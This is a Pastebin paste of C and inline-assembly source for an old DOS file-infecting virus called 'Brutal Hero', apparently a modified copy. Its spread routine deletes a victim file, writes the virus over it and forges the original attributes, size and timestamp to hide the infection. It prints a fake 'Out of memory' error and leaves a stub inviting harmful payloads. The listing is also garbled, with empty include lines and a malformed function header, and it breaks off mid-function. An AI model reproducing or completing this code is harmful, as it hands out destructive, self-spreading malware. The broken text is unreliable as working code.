emS-St1ks

Brutal Hero Virus by st1ks modify

Jun 15th, 2012
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. #include
  3. #include
  4. #include
  5. #include
  6.  
  7. void hostile_activity(void);
  8. int infected(char *);
  9. void spread(char *, char *);
  10. void small_print(char *);
  11. char *victim(void);
  12.  
  13. #define DEBUG
  14. #define ONE_KAY 1024 // 1k
  15. #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
  16. #define SIGNATURE "NMAN" // Sign of infection
  17.  
  18. int main(void)
  19. {
  20. /* The main program */
  21.  
  22. spread(_argv[0], victim()); // Perform infection
  23. small_print("Out of memory\r\n"); // Print phony error
  24. return(1); // Fake failure...
  25. }
  26.  
  27. void hostile_activity(void)
  28. {
  29. /* Put whatever you feel like doing here...I chose to
  30. make this part harmless, but if you're feeling
  31. nasty, go ahead and have some fun... */
  32.  
  33. small_print("\a\a\aAll files infected. Mission complete.\r\n");
  34. exit(2);
  35. }
  36.  
  37. int infected(char *fname)
  38. {
  39. /* This function determines if fname is infected */
  40.  
  41. FILE *fp; // File handle
  42. char sig[5]; // Virus signature
  43.  
  44. fp = fopen(fname, "rb");
  45. fseek(fp, 28L, SEEK_SET);
  46. fread(sig, sizeof(sig) - 1, 1, fp);
  47. #ifdef DEBUG
  48. printf("Signature for %s: %s\n", fname, sig);
  49. #endif
  50. fclose(fp);
  51. return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
  52. }
  53.  
  54. void small_print(char *string)
  55. {
  56. /* This function is a small, quick print routine */
  57.  
  58. asm {
  59. push si
  60. mov si,string
  61. mov ah,0xE
  62. }
  63.  
  64. print: asm {
  65. lodsb
  66. or al,al
  67. je finish
  68. int 0x10
  69. jmp short print
  70. }
  71. finish: asm pop si
  72. }
  73.  
  74. (void spread(char *old_name, char *new_name}
  75.  
  76. #ifdef DEBUG
  77. printf("Infecting %s with %s...\n", new_name, old_name);
  78. #endif
  79. old = fopen(old_name, "rb"); // Open virus
  80. new = fopen(new_name, "rb"); // Open victim
  81. old_handle = fileno(old); // Get file handles
  82. new_handle = fileno(new);
  83. old_size = filelength(new_handle); // Get old file size
  84. virus_size = filelength(old_handle); // Get virus size
  85. attrib = _chmod(new_name, 0); // Get old attributes
  86. getftime(new_handle, &file_time); // Get old file time
  87. fclose(new); // Close the virusee
  88. _chmod(new_name, 1, 0); // Clear any read-only
  89. unlink(new_name); // Erase old file
  90. new = fopen(new_name, "wb"); // Open new virus
  91. new_handle = fileno(new);
  92. virus_code = malloc(virus_size); // Allocate space
  93. fread(virus_code, virus_size, 1, old); // Read virus from old
  94. fwrite(virus_code, virus_size, 1, new); // Copy virus to new
  95. _chmod(new_name, 1, attrib); // Replace attributes
  96. chsize(new_handle, old_size); // Replace old size
  97. setftime(new_handle, &file_time); // Replace old time
Advertisement
Add Comment
Please, Sign In to add comment